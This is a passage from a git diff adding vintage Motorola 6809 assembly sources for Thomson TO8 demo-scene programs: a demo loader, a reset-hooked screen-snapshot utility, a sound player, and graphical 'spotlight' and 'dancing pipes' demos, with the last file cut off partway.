+ LEAX 1,X
+ LDA #128
+ DEC <SEGMNT
+ BNE FORX3
+ LEAX -80,X
+ DEC <LIGNE
+ LBNE FORY3
+
+ PULS CC,A,B,DP,X,U,PC
+
+ END
diff --git a/code/3rdparty/sources2-hcl/SHELL.ASM b/code/3rdparty/sources2-hcl/SHELL.ASM
new file mode 100644
index 0000000..27a3e76
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SHELL.ASM
@@ -0,0 +1,134 @@
+****************************************
+* *
+* SHELL = INTERFACE LOADER / DEMOS *
+* *
+****************************************
+
+
+RETURN EQU $A328
+ERROR EQU $A483
+ ORG $6300
+
+DEMOS FDB $DA5,$010A,$3BFF
+ FDB $FA9,$0505,$37FF
+ FDB $FB9,$3501,$27FF
+ FDB $FC2,$080C,$1EFF
+ FDB $FB0,$2507,$30FF
+ FDB $3A0,$A0A,$2904,$A00D,$329
+ FDB $5A0,$F0C,$2906,$A012,$529
+ FDB $7A0,$140E,$2908,$A017
+ FDB $729
+ FDB $9A0,$1910,$290A,$A01C
+ FDB $929,$FC1,$1F02,$1FFF
+ FDB $FA0,$2107,$40FF
+ FDB $FDA,$2101,$06FF
+ FDB $F7B,$2807,$4D00
+ FDB $FC3,$2D04,$1DFF
+ FDB $FA7,$2F01,$39FF
+ FDB $FB9,$320A,$27FF
+FINDEM FDB DEMOS
+
+G ORCC #80
+ LDS #$60CC
+ LDB #1
+ JSR $EC0C
+
+ LDD #32
+ STA $E7DB
+ STA $E7DA
+ DECB
+ BNE *-4
+ LDD #0
+ STD $E7DC
+
+INTRO LDD #$6002
+ TFR A,DP
+ STB <$48
+ CLR <$49
+ CLR <$50
+ LDU FINDEM
+
+KOILIR LDB ,U
+ STB $E7E5
+ LDB 2,U
+ LDX #0
+ ABX
+ LDB 4,U
+ LDY #0
+ LEAY B,Y
+ LDB 3,U
+ LDA 1,U
+ JSR DISK
+ LDX #$DFA2
+ LEAU 5,U
+ TST ,U
+ BMI *+9
+ BEQ *+4
+ BRA KOILIR
+ LDX #$9695
+ LEAU 1,U
+ CMPU #FINDEM
+ BNE *+5
+ LDU #DEMOS+12
+ STU FINDEM
+ JSR ,X
+ LDD #$E7
+ TFR B,DP
+ LDB #32
+ STA <$DB
+ STA <$DA
+ DECB
+ BNE *-3
+ LDX FINDEM
+ CMPX #DEMOS+6
+ BEQ INTRO
+ LDA #13
+ STA $E7E5
+ JMP RETURN
+
+DISK STX <$4A
+ STB <$4C
+ STA <$4F
+CHARGE JSR $E004
+ BCC *+10
+ LDA #13
+ STA $E7E5
+ JMP ERROR
+ INCB
+ CMPB #17
+ BNE GOON
+ LDB #1
+ LEAX 1,X
+ STX <$4A
+GOON STB <$4C
+ INCA
+ STA <$4F
+ LEAY -1,Y
+ BNE CHARGE
+ RTS
+RESET ORCC #80
+ LDD #32
+ STA $E7DB
+ STA $E7DA
+ DECB
+ BNE *-4
+ STD $E7DC
+ LDA #15
+ STA $E7E5
+ LDU #COLORS-6
+ PULU D,X,Y,S
+ LDU #$E000
+ERASE FDB $3676,$3676,$3676,$3676
+ FDB $3676,$3676,$3676,$3676
+ FDB $3676,$3676,$3676,$3676
+ FDB $3676,$3676,$3676,$3676
+ CMPU #$A000
+ BNE ERASE
+ DEC $E7E5
+ BRA ERASE-3
+
+ FDB 0,0,0
+COLORS FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911,826,931
+ FDB 938,2611,2618,3815,123
+ END
diff --git a/code/3rdparty/sources2-hcl/SNAPSHOT.ASM b/code/3rdparty/sources2-hcl/SNAPSHOT.ASM
new file mode 100644
index 0000000..f2764bc
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SNAPSHOT.ASM
@@ -0,0 +1,56 @@
+****************************************
+* S N A P S H O T *
+****************************************
+* Copie de l'écran dans une BANK *
+* au moment du RESET *
+****************************************
+* La routine se met à l'abri en $5FC0. *
+* D'après la procédure de RESET (FEF2) *
+* la mémoire COULEUR est commutée lors *
+* de la dérivation. L'implantation ne *
+* se fait donc qu'en RAMa. La palette *
+* est copiée en $BF40 de la banque *
+* destination sous la forme : 0BVR x16 *
+****************************************
+*** (c) Doctor Lô 1991 ***
+
+ ORG $6088
+ JMP $5FC0 détourne le RESET.
+ ORG $60FE Car ça marche ssi
+ FDB $A55A le reset est SOFT!
+ ORG $E7E5 sélection BANK
+ FCB 0 -> mémoire écran
+
+***** IMPLANTATION en fin de RAM-A *****
+
+ ORG $BFC0
+ PSHS X,B,A
+GETKEY JSR $E806 BANK destination
+ SUBB #48 (choix au clavier)
+ ANDB #$DF minuscules->ABCDEF
+ CMPB #22 de 0 à F en hexa
+ BHI GETKEY
+ CMPB #10
+ BLO *+8
+ CMPB #17
+ BLO GETKEY
+ SUBB #7
+ LDX #$A000 copie de l'écran
+ LDA ,X
+ STB $E7E5
+ STA ,X+
+ CLR $E7E5
+ CMPX #$E000
+ BNE *-13
+ LDX #$BF40 formatage palette
+ LDB #16 et transfert en
+ LDA ,X $BF40 - $BF5F
+ ANDA #15
+ STA ,X++
+ DECB
+ BNE *-7
+ LDD #$A55A à la prochaine !
+ STD $60FE
+ PULS A,B,X,PC
+
+ END
diff --git a/code/3rdparty/sources2-hcl/SOUND.ASM b/code/3rdparty/sources2-hcl/SOUND.ASM
new file mode 100644
index 0000000..3f4e136
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SOUND.ASM
@@ -0,0 +1,71 @@
+****************************************
+* *
+* Restitution d'un son TO8 compilé *
+* *
+****************************************
+
+BSOUND EQU $7600 adresse début son
+ESOUND EQU $DE96 adresse fin du son
+
+
+ ORG $7500
+
+G ORCC #80
+ LDA $E7C5 autorise
+ ORA #1 sortie son
+ STA $E7C5
+ LDA $E7C1
+ ANDA #$F7
+ STA $E7C1
+
+ CLR $E7CF définition son
+ LDD #$3F04
+ STA $E7CD merci Gaël !!!
+ STB $E7CF
+
+ LDX #BSOUND
+PLAY LDA ,X+
+ LDA -1,X
+ LSRA
+ LSRA
+ TST ,-X
+ STA $E7CD
+ BSR WAIT
+
+ LDA ,X+ 6
+ ANDA #3 2
+ STA *+8 5 attention ! les
+ LDA ,X 4 temps d'attente
+ LSRA 2 sont identiques
+ LSRA 2 pour chaque son
+ ORA #0 2 (cf cycles)
+ STA $E7CD 5
+ BSR WAIT
+
+ LDA ,X+
+ ASLA
+ ASLA
+ STA *+8
+ LDA ,X
+ ANDA #3
+ ORA #0
+ STA $E7CD
+ BSR WAIT
+
+ LDA ,X
+ TST ,X+
+ NOP
+ LSRA
+ LSRA
+ STA $E7CD
+ BSR WAIT
+ CMPX #ESOUND
+ BLO PLAY
+ SWI
+
+WAIT LDA #16
+ DECA
+ BNE *-1
+ RTS
+
+ END
diff --git a/code/3rdparty/sources2-hcl/SOURCE20.SAP b/code/3rdparty/sources2-hcl/SOURCE20.SAP
new file mode 100755
index 0000000..46b78bf
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SOURCE20.SAP
Binary files differ
diff --git a/code/3rdparty/sources2-hcl/SOURCE21.SAP b/code/3rdparty/sources2-hcl/SOURCE21.SAP
new file mode 100755
index 0000000..5e03321
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SOURCE21.SAP
Binary files differ
diff --git a/code/3rdparty/sources2-hcl/SPOT.ASM b/code/3rdparty/sources2-hcl/SPOT.ASM
new file mode 100644
index 0000000..1098fdb
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/SPOT.ASM
@@ -0,0 +1,702 @@
+ ********************
+ * *
+ ***** H.C.L *****
+ *DOC* *DOC*
+ ***** IN THE SPOTLIGHT *****
+ * *
+ ********************
+
+SIGLE EQU $7200
+VAGTAB EQU $7EB0
+REM EQU $8000
+FONTES EQU $8280
+TEXTE EQU $8F00
+ECRAN EQU $C014+40*190
+MASK EQU $9000
+STARS EQU $9780
+TAMP EQU $98D0
+DIR EQU $98
+Z EQU $F0
+ZZ EQU DIR*256+Z
+
+ ORG $9900
+G ORCC #80
+ LDA #DIR
+ EXG A,DP
+ STA RDP+1
+ STS RDP-2
+
+ LDX #PRINT
+ LDB ,X+
+ BEQ *+7
+ JSR $E803
+ BRA *-7
+ LDA #2
+ STA $E7E5
+ LDD #0
+ LDX #$A000
+ STD ,X++
+ CMPX #$E000
+ BNE *-5
+
+ LDX #$B4C8
+ LDU #SIGLE
+ LDD ,U++
+ STD ,X++
+ CMPX #$C178
+ BNE *-7
+ STU ZZ+1
+ LDA #255
+ LDX #KOKO
+ JSR $EC00
+ LDX KOKO
+ LEAY ,X
+ CLRA
+ JSR $EC00
+ MUL
+ LDX #200
+ MUL
+ MUL
+ MUL
+ MUL
+ ADDD [,U++]
+ LEAX -1,X
+ BNE *-8
+ LDA $E7C3
+ ORA #1
+ STA $E7C3
+
+VAG LDA #38
+ STA ZZ
+ LDX ZZ+1
+ LDU ,X++
+ CMPX #VAGTAB+$144
+ BNE *+5
+ JMP FVAG
+ STX ZZ+1
+ LDS #$40EA
+COPY FDB $373E,$343E,$373E,$343E
+ FDB $373E,$343E,$373E,$343E
+ FCB 50,232,68
+ FDB $373E,$343E,$373E,$343E
+ FDB $373E,$343E,$373E,$343E
+ FCB 50,232,68
+ FDB $373E,$343E,$373E,$343E
+ FDB $373E,$343E,$373E,$343E
+ FCB 50,232,68
+ FDB $373E,$343E,$373E,$343E
+ FDB $373E,$343E,$373E,$343E
+ FCB 50,232,68
+ FDB $373E,$343E,$373E,$343E
+ FDB $373E,$343E,$373E,$343E
+ FCB 50,232,68
+ DEC ZZ
+ BNE COPY
+ LDA #71
+ DECA
+ BNE *-1
+ JMP VAG
+
+FVAG LDY #40*312
+ MUL
+ MUL
+ MUL
+ MUL
+ MUL
+ LEAY -1,Y
+ BNE FVAG+4
+ LDS RDP-2
+ LDA #12
+ LDB ,X+
+ JSR $E803
+ DECA
+ BNE *-6
+ LDU #$4E1F
+ JSR AJUS
+ LEAU -12*40+7,U
+ JSR AJUS
+ LDU #$4000+138*40
+ LDD ,X++
+ STD ,U++
+ CMPX #$8280
+ BNE *-7
+
+ LDU #$4000
+ LDX #$A000
+ LDD #0
+ STD ,X++
+ CMPX #$C000
+ BNE *-5
+ LDD ,U++
+ STD ,X++
+ CMPX #$DF40
+ BNE *-7
+ LDA #128
+ STA $E7DD
+ LDA #DIR
+ TFR A,DP
+ LDD #$6410
+ STD <Z
+ LDD #$201
+ STD <Z+2
+ LDD #$A100
+ STD <Z+4
+ LDD #$0180
+ STD <Z+7
+ LDA #32
+ STD <Z+9
+ ASLA
+ STD <Z+11
+ LDD #TEXTE
+ STD <Z+13
+ LDX #KOKO
+ LDA #255
+ JSR $EC00
+ LDX KOKO
+ LEAY ,X
+ CLRA
+ JSR $EC00
+ MUL
+
+ LDX #$D7+312*40
+WAIT MUL
+ MUL
+ MUL
+ MUL
+ ADDD [,U++]
+ LEAX -1,X
+ BNE WAIT
+ MUL
+ MUL
+ MUL
+ MUL
+ TST ,--X
+
+SPOT LDU #VIDE
+ PULU X,Y,S
+ LDU <Z+4
+ LEAU 4,U
+ LDA #10
+ PSHU S,Y,X
+ LEAU 46,U
+ PSHU S,Y,X
+ LEAU 46,U
+ PSHU S,Y,X
+ LEAU 46,U
+ PSHU S,Y,X
+ LEAU 46,U
+ DECA
+ BNE *-21
+
+ LDD #$E704
+ TFR A,DP
+ STB <$DB
+ LDD #5
+ STB <$DA
+ STA <$DA
+ LDD #15
+ STB <$DA
+ STA <$DA
+ LDA #DIR
+ TFR A,DP
+
+ LDU #STARS+$70
+ LDA #20
+ STA <Z+6
+ CLRA
+ LDB <Z+8
+ BEQ M1
+L1 LDB <Z+8
+ COMB
+ LDX ,U++
+ ORB $2000,X
+ COMB
+ STB ,X
+ MUL
+ TST [,X]
+ LDB <Z+8
+ LSRB
+ DEC <Z+6
+ BNE L1
+ BRA N1
+M1 LDB #127
+ LDX ,U
+ ORB $2000,X
+ COMB
+ STD ,X+
+ CMPX $70,U
+ BEQ *+6
+ TST [,U]
+ BRA *+7
+ CLR ,X
+ LDX -$70,U
+ STX ,U++
+ DEC <Z+6
+ BNE M1
+ LDD #64
+N1 STB <Z+8
+
+ LDA #16
+ STA <Z+6
+ CLRA
+ LDB <Z+9
+ BEQ M2
+L2 LDB <Z+9
+ COMB
+ LDX ,U++
+ ORB $2000,X
+ COMB
+ STB ,X
+ MUL
+ TST A,X
+ LDB <Z+9
+ LSRB
+ LSRB
+ DEC <Z+6
+ BNE L2
+ BRA N2
+M2 LDB #127
+ LDX ,U
+ ORB $2000,X
+ COMB
+ STD ,X+
+ CMPX $70,U
+ BEQ *+6
+ TST [,U]
+ BRA *+7
+ CLR ,X
+ LDX -$70,U
+ STX ,U++
+ DEC <Z+6
+ BNE M2
+ LDD #32
+N2 STB <Z+9
+
+ LDB <Z+12
+ COMB
+ STB M3+1
+ LDA #12
+ STA <Z+6
+ CLRA
+ LDB <Z+10
+ BEQ M3
+L3 LDB <Z+10
+ COMB
+ LDX ,U++
+ ORB $2000,X
+ COMB
+ STB ,X
+ MUL
+ ABX
+ NOP
+ LDB <Z+10
+ LSRB
+ LSRB
+ LSRB
+ DEC <Z+6
+ BNE L3
+ TST [,U]
+ TST ,X+
+ BRA N3
+M3 LDB #0
+ LDX ,U
+ ORB $2000,X
+ COMB
+ STD ,X+
+ CMPX $70,U
+ BEQ *+6
+ TST [,U]
+ BRA *+7
+ CLR ,X
+ LDX -$70,U
+ STX ,U++
+ DEC <Z+6
+ BNE M3
+ LDB <Z+12
+ CMPB #32
+ BNE *+10
+ LDB #128
+ STB <Z+12
+ LDB #4
+ BRA N3
+ LSRB
+ STB DIR*256+Z+12
+ LSRB
+ LSRB
+N3 STB <Z+10
+
+ LDA #8
+ STA <Z+6
+ CLRA
+ LDB <Z+11
+ BEQ M4
+L4 LDB <Z+11
+ COMB
+ LDX ,U++
+ ORB $2000,X
+ COMB
+ STB ,X
+ MUL
+ ABX
+ LDB <Z+11
+ LSRB
+ LSRB
+ LSRB
+ LSRB
+ DEC <Z+6
+ BNE L4
+ BRA N4
+M4 LDB #127
+ LDX ,U
+ ORB $2000,X
+ COMB
+ STD ,X+
+ CMPX $70,U
+ BEQ *+6
+ TST [,U]
+ BRA *+7
+ CLR ,X
+ LDX -$70,U
+ STX ,U++
+ DEC <Z+6
+ BNE M4
+ LDD #8
+N4 STB <Z+11
+
+ LDY <Z+13
+ LDX #ECRAN
+ LDA #32
+SCROL ANDCC #254
+ ROL 15,X
+ ROL 14,X
+ ROL 13,X
+ ROL 12,X
+ ROL 11,X
+ ROL 10,X
+ ROL 9,X
+ ROL 8,X
+ ROL 7,X
+ ROL 6,X
+ ROL 5,X
+ ROL 4,X
+ ROL 3,X
+ ROL 2,X
+ ROL 1,X
+ ROL ,X
+ ROL -1,X
+ ROL -2,X
+ ROL -3,X
+ ROL -4,X
+ ROL -5,X
+ ROL -6,X
+ ROL -7,X
+ ROL -8,X
+ ROL -9,X
+ ROL -10,X
+ ROL -11,X
+ ROL -12,X
+ ROL -13,X
+ ROL -14,X
+ ROL -15,X
+ ROL -16,X
+ LEAX -40,X
+ DECA
+ BNE SCROL
+ DEC <Z+7
+ BEQ NEXT
+
+ LDB #39
+ NOP
+ DECB
+ BNE *-1
+RELAIS LDX #ECRAN-32*40+15
+ LDU #TAMP
+ LDA #32
+ STA <Z+6
+
+PREPA LEAX 40,X
+ LDB ,X
+ ANDB #254
+ LDA ,U
+ BITA #128
+ BEQ *+5
+ INCB
+ BRA *+4
+ LDA 1,X
+ STB ,X
+ ASL ,U+
+ DEC <Z+6
+ BNE PREPA
+ BRA JOIN
+
+NEXT LDB ,Y+
+ BNE *+10
+ LDY #TEXTE
+ LDB #52
+ BRA *+5
+ DECB
+ TST A,X
+ LDA #32
+ LDX #FONTES-32
+ LDU #TAMP+32
+ MUL
+ LEAS D,X
+ PULS D,X
+ PSHU X,D
+ PULS D,X
+ PSHU X,D
+ PULS D,X
+ PSHU X,D
+ PULS D,X
+ PSHU X,D
+ PULS D,X
+ PSHU X,D
+ PULS D,X
+ PSHU X,D
+ PULS D,X
+ PSHU X,D
+ PULS D,X
+ PSHU X,D
+ LDD #$800
+ STA <Z+7
+ BRA RELAIS
+
+JOIN STY <Z+13
+ LDA #20
+ STA <Z+6
+ LDU #MASK
+ LDX #$B364
+ LDA <Z+1
+ LDB #40
+ MUL
+ LEAX D,X
+ LDA <Z
+ LDB <Z
+ LSRA
+ LSRA
+ LSRA
+ LEAX A,X
+ STX <Z+4
+ ANDB #7
+ LDA #240
+ MUL
+ LEAU D,U
+ LEAY $2000,X
+PROJO PULU D
+ ANDA -2,Y
+ ORA -2,X
+ ANDB -1,Y
+ ORB -1,X
+ STD -2,X
+ PULU D
+ ANDA ,Y
+ ORA ,X
+ ANDB 1,Y
+ ORB 1,X
+ STD ,X
+ PULU D
+ ANDA 2,Y
+ ORA 2,X
+ ANDB 3,Y
+ ORB 3,X
+ STD 2,X
+ LEAX 40,X
+ LEAY 40,Y
+ PULU D
+ ANDA -2,Y
+ ORA -2,X
+ ANDB -1,Y
+ ORB -1,X
+ STD -2,X
+ PULU D
+ ANDA ,Y
+ ORA ,X
+ ANDB 1,Y
+ ORB 1,X
+ STD ,X
+ PULU D
+ ANDA 2,Y
+ ORA 2,X
+ ANDB 3,Y
+ ORB 3,X
+ STD 2,X
+ LEAX 40,X
+ LEAY 40,Y
+ DEC <Z+6
+ BNE PROJO
+
+ LDD <Z
+ ADDA <Z+2
+ CMPA #4
+ BHS *+5
+ NOP
+ BRA *+9
+ CMPA #244
+ BHI *+5
+ ABX
+ BRA *+4
+ NEG <Z+2
+ ADDB <Z+3
+ CMPB #4
+ BHS *+5
+ NOP
+ BRA *+9
+ CMPB #28
+ BHI *+5
+ ABX
+ BRA *+4
+ NEG <Z+3
+ STD <Z
+
+ MUL
+ TST ,--X
+ LDD #$E704
+ TFR A,DP
+ STB <$DB
+ LDD #$500
+ STB <$DA
+ STA <$DA
+ LDD #$F00
+ STB <$DA
+ STA <$DA
+ LDA #DIR
+ TFR A,DP
+
+ LDA $E7CC
+ LDB <Z+15
+ BEQ JOY
+ DECB
+ STB DIR*256+Z+15
+NJOY LDA #8
+ DECA
+ BNE *-1
+ ABX
+ JMP FJOY
+JOY LDB #20 antirebond
+ CMPA #255
+ BEQ NJOY
+ STB <Z+15
+ BITA #1
+ BEQ NORD
+ BITA #8
+ BEQ EST
+ BITA #2
+ BEQ SUD
+ ABX
+ LDB <Z+2
+ BLT *+5
+ JMP *+5
+ CLRA
+ NEGB
+ LSRB
+ TSTA
+ BEQ *+6
+ LSR <Z+2
+ BRA FJOY
+ NEGB
+ STB <Z+2
+ BRA FJOY
+SUD ABX
+ LDB <Z+3
+ BLT *+5
+ JMP *+5
+ CLRA
+ NEGB
+ LSRB
+ TSTA
+ BEQ *+6
+ LSR <Z+3
+ BRA FJOY
+ NEGB
+ STB <Z+3
+ BRA FJOY
+EST LDB <Z+2
+ BNE *+9
+ INC <Z+2
+ MUL
+ TST ,-X
+ BRA FJOY
+ BLT *+5
+ JMP *+5
+ CLRA
+ NEGB
+ CMPB #4
+ BLO *+6
+ TST [D,X]
+ BRA FJOY
+ ASLB
+ TSTA
+ BEQ *+6
+ ASL <Z+2
+ BRA FJOY
+ NEGB
+ STB <Z+2
+ BRA FJOY
+NORD LDX ,X
+ LDB <Z+3
+ BNE *+9
+ INC <Z+3
+ MUL
+ TST ,-X
+ BRA FJOY
+ BLT *+5
+ JMP *+5
+ CLRA
+ NEGB
+ CMPB #4
+ BLO *+6
+ TST [D,X]
+ BRA FJOY
+ ASLB
+ TSTA
+ BEQ *+6
+ ASL <Z+3
+ BRA FJOY
+ NEGB
+ STB <Z+3
+ BRA FJOY
+
+FJOY LDX #158
+ NOP
+ LEAX -1,X
+ BNE *-3
+ TST ,--X
+ LDA $E7C8
+ BITA #1
+ LBEQ SPOT
+
+ LDS #0
+RDP LDA #0
+ TFR A,DP
+ CLR $E7DD
+ LDX #OUT
+ LDB ,X+
+ JSR $E803
+ BNE *-5
+ LDA #255
+ LDX #COLORS
+ NOP
+ JSR $EC00
+ SWI
+AJUS LDA #12
+ LDB #4
+ LSR -1,U
+ ROR ,U
+ ROR 1,U
+ DECB
+ BNE *-7
+ LEAU 40,U
+ DECA
+ BNE AJUS+2
+ RTS
+
+PRINT FDB $1B5B,$1B59,$1B60,$1F4C
+ FDB $4F1B,$411B,$4D00
+OUT FDB $1B5A,$1B4C
+KOKO FDB 0,4095,5,15
+VIDE FDB 0,0
+COLORS FDB 0,15,240,255,3840,3855
+ FDB 4080,4095,1911,826,931
+ FDB 938,2611,2618,3815,123
+
+ END
diff --git a/code/3rdparty/sources2-hcl/TUBES.ASM b/code/3rdparty/sources2-hcl/TUBES.ASM
new file mode 100644
index 0000000..740d546
--- /dev/null
+++ b/code/3rdparty/sources2-hcl/TUBES.ASM
@@ -0,0 +1,505 @@
+ *****************
+ * *
+ * DANCING PIPES *
+ * *
+ *****************
+ * Doctor Lô *
+ *************
+
+
+LOGO EQU $7E58
+COPPER EQU $7200
+FINCOP EQU COPPER+508
+PALETS EQU $7F00
+FINPAL EQU $8900
+TEXTE EQU $8B00
+FINTEX EQU $8FEC
+SINUS EQU $9000
+FINSIN EQU $9200
+FONTES EQU $9400
+ECRAN EQU $ADC0
+SCROL EQU $DB80
+TUBE EQU 8
+PAS EQU 26
+SPEED EQU 2
+WART EQU 160
+DIR EQU $9F
+Z EQU 0
+
+ ORG $9940
+G ORCC #80
+ LDA #DIR
+ EXG A,DP
+ STA RDP+1
+ STS RDP-2
+
+ LDX #PRINT
+ LDB ,X+
+ BEQ *+7
+ JSR $E803
+ BRA *-7
+ LDD #$02F8
+ STA $E7E5
+ CLRA
+ LDX #$A000
+ STB ,X+
+ CMPX #$C000
+ BNE *-5
+ STA ,X+
+ CMPX #$E000
+ BNE *-5
+ INC $E7E5
+ LDX #$A000
+ STB ,X+
+ CMPX #$C000
+ BNE *-5
+ STA ,X+
+ CMPX #$E000
+ BNE *-5
+ DEC $E7E5
+ LDA #128
+ STA $E7DD
+
+ LDX #GRIS
+ LDA #255
+ JSR $EC00
+ LDA #100
+ STA <Z+6
+ CLRB
+LETSGO LDU #LOGO
+ LDX #ECRAN
+ LDA #40
+ STA <Z+5
+
+UNEH STU <Z+1
+ STB <Z
+ SUBB #40
+ NEGB
+ LEAU B,U
+ LEAY 40,X
+ STY <Z+3
+ LEAY $2000,X
+ LEAS $C80,U
+ LDB <Z
+ BGT *+5
+ NOP
+ BRA *+6
+ CMPB #40
+ BLE REAL
+ LDB #157
+ TST [A,U]
+ DECB
+ BNE *-3
+ LEAX -40,X
+ JMP WELK
+REAL LDA ,U+
+ STA ,X+
+ LDA ,S+
+ STA ,Y+
+ DECB
+ BNE REAL
+ CMPX <Z+3
+ BEQ *+10
+ LDA #$F8
+ CLR ,Y+
+ STA ,X+
+ BRA *-10
+ LEAU -80,U
+ LEAX -40,X
+ LDB <Z
+ LEAU B,U
+ LEAY -40,X
+ STY <Z+3
+ LEAY $2000,X
+ LEAS $C80,U
+LAER LDA ,-U
+ STA ,-X
+ LDA ,-S
+ STA ,-Y
+ DECB
+ BNE LAER
+ CMPX <Z+3
+ BEQ *+10
+ LDA #$F8
+ CLR ,-Y
+ STA ,-X
+ BRA *-10
+WELK LDU <Z+1
+ LEAU -80,U
+ LEAX -40,X
+ LDB <Z
+ DECB
+ DEC <Z+5
+ BEQ *+5
+ JMP UNEH
+ ADDB #41
+ LDA #153
+ BITA A,X
+ DECA
+ BNE *-3
+ DEC <Z+6
+ LBNE LETSGO
+
+ LDY #FOND
+ LDX #SCROL-$2078
+ LDA #14
+ STA <Z
+AFOND LDA ,Y+
+ ASLA
+ ASLA
+ ASLA
+ ORA #128
+ TFR A,B
+ TFR D,U
+ LDB #20
+ STU ,X++
+ DECB
+ BNE *-3
+ DEC <Z
+ BNE AFOND
+ LDA $E7E5
+ CMPA #3
+ BEQ *+7
+ INC $E7E5
+ BRA AFOND-11
+
+ DEC $E7E5
+ LDS #SCROL-$70
+HELLO LDB ,Y+
+ BEQ FHELLO
+ SUBB #65
+ LDA #28
+ MUL
+ LDU #FONTES
+ LEAU D,U
+ LDA #14
+ONELET LDX ,U++
+ STX ,S
+ LEAS 40,S
+ DECA
+ BNE ONELET
+ LEAS -14*40+2,S
+ BRA HELLO
+FHELLO INC $E7E5
+ LDX #LOGO-$C58
+ LDU #$A168
+ LDD ,X++
+ STD ,U++
+ CMPX #LOGO+40
+ BNE *-7
+ LDU #$C168
+ LDD ,X++
+ STD ,U++
+ CMPX #LOGO+$CA8
+ BNE *-7
+ LDU #PALETS
+ LDY #PAL
+ LDX #FINCOP
+ LDA #9
+ CLR ,X+
+ DECA
+ BNE *-3
+ BRA DEGRA
+
+ FCB 8
+PRINT FDB $1B5B,$1B5A,$1B60,$1400
+FOND FCB 1,2,3,4,5,6,3,1,1,2,2,3,3
+ FCB 4
+ FCC /HELLO[WORLDg/
+GRIS FDB $000,$00F,$222,$333,$444
+ FDB $555,$666,$777,$888,$016
+ FDB $02B,$05F,$1BF,$6FE,$DFD
+ FDB $FFF
+
+DEGRA LDA #TUBE
+ STA <Z
+ LDD ,Y
+ CMPD #$FFFF
+ BEQ FINDEG
+ LDX 2,Y
+ LEAS 60,U
+ STX <Z+1
+ STD <Z+3
+TUYO STX 2,U
+ STX ,S
+ LEAX D,X
+ STX ,U
+ STX 2,S
+ LEAX D,X
+ LEAU 4,U
+ LEAS -4,S
+ DEC PRINT-1
+ BNE TUYO
+ LDA #8
+ STA PRINT-1
+ LEAU 32,U
+ LDX <Z+1
+ LDD 4,Y
+ LEAX D,X
+ LDD <Z+3
+ DEC <Z
+ BNE TUYO-7
+ LEAY 6,Y
+ BRA DEGRA
+
+FINDEG LDX #TEXTE
+ STX <Z+2
+ LDX #SCROL
+ STX <Z+4
+ LDX #$80C0
+ STX <Z+6
+ LDX #1
+ STX <Z+8
+
+ LDA #$E7
+ TFR A,DP
+ LDS RDP-2
+ LDX #GRIS
+ LDA #255
+ JSR $EC00
+ LDX #0
+ LEAY ,X
+ CLRA
+ JSR $EC00
+ MUL
+
+ LDX #8+312*100
+WAIT MUL
+ MUL
+ MUL
+ MUL
+ ADDD [,U++]
+ LEAX -1,X
+ BNE WAIT
+ LDX #COPPER
+
+GENIE LDD ,X++
+ STD *+7
+ CLRB
+ STB <$DB
+ LDD #0
+ STB <$DA
+ STA <$DA
+ CMPX #FINCOP
+ BEQ PROG
+ LDD 1,X
+ MUL
+ LDB <$C8
+ BITB #1
+ BEQ GENIE
+
+ LDS #0
+RDP LDA #0
+ TFR A,DP
+ CLR $E7DD
+ LDA #255
+ LDX #COLORS
+ JSR $EC00
+ RTS
+
+PROG LDD ,U++
+ MUL
+
+* un nbre de cycles multiple de 64
+ LDU #FINCOP
+ PULU A,B,DP,X,Y,S
+ LDU #FINCOP
+ PSHU S,Y
+ FDB $367E,$367E,$367E,$367E
+ FDB $367E,$367E,$367E,$367E
+ FDB $367E,$367E,$367E,$367E
+ FDB $367E,$367E,$367E,$367E
+ FDB $367E,$367E,$367E,$367E
+ FDB $367E,$367E,$367E,$367E
+ FDB $367E,$367E,$367E,$367E
+ FDB $367E,$367E,$367E,$367E
+ FDB $367E,$367E,$367E,$367E
+ FDB $367E,$367E,$367E,$367E
+ FDB $367E,$367E,$367E,$367E
+ FDB $367E,$367E,$367E,$367E
+ FDB $367E,$367E,$367E,$367E
+ FDB $367E,$367E,$367E,$367E
+YEAH LDX #SINUS
+ LDS #PALETS
+ LDD #TUBE*256+DIR
+ TFR B,DP
+ STA <Z
+PIPE LDU ,X
+ FDB $3526,$3626,$3526,$3626
+ FDB $3526,$3626,$3526,$3626
+ FDB $3526,$3626,$3526,$3626
+ FDB $3526,$3626,$3526,$3626
+ FDB $3526,$3626,$3526,$3626
+ FDB $3526,$3626,$3526,$3626
+ FDB $3526,$3626,$3526,$3626
+ FDB $3526,$3626,$3526,$3626
+CNT1 FCB 48,136,PAS
+ DEC <Z
+ BNE PIPE
+CNT2 LEAX -TUBE*PAS,X
+ LEAX SPEED,X
+ CMPX #FINSIN
+ BLO *+8
+ LEAX SINUS-FINSIN,X
+ BRA *+3
+ MUL
+ LDD $E7CC
+ BITA #1
+ BEQ IPAS
+ BITA #2
+ BEQ DPAS
+ BITA #8
+ BEQ ISPE
+ BITA #4
+ BEQ DSPE
+ BITB #64
+ BEQ FIRE
+ ADDD [,X++]
+ ADDD [D,X]
+ ADDD 1,X
+ JMP JOIN
+FIRE LDD YEAH+5
+ CMPD #FINPAL
+ BNE *+7
+ LDD #PALETS
+ BRA *+6
+ ADDD #TUBE*64
+ NOP
+ STD YEAH+5
+ ADDD 1,X
+ BRA JOIN
+IPAS LDB CNT1+2
+ CMPB #50
+ BNE *+6
+ FDB $1212
+ BRA *+7
+ ADDB #2
+ STB CNT1+2
+ BRA ROUT1
+DPAS LDB CNT1+2
+ BNE *+6
+ FDB $1212
+ BRA *+7
+ SUBB #2
+ STB CNT1+2
+ROUT1 LDA #TUBE
+ MUL
+ STD <Z
+ LDD #0
+ SUBD <Z
+ STD CNT2+2
+ BRA JOIN
+ISPE LDB CNT2+5
+ CMPB #14
+ BNE *+6
+ FDB $1212
+ BRA *+7
+ ADDB #2
+ STB CNT2+5
+ BRA ROUT2
+DSPE LDB CNT2+5
+ BNE *+6
+ FDB $1212
+ BRA *+7
+ SUBB #2
+ STB CNT2+5
+ROUT2 MUL
+ MUL
+ LDA ,X
+
+JOIN STX YEAH+1
+ TST <Z+8
+ BNE WECHS
+ DEC <Z+9
+ BNE *+6
+ INC <Z+8
+ BRA *+4
+ LDD D,X
+ EXG A,B
+ LDB #27
+ NOP
+ NOP
+ DECB
+ BNE *-3
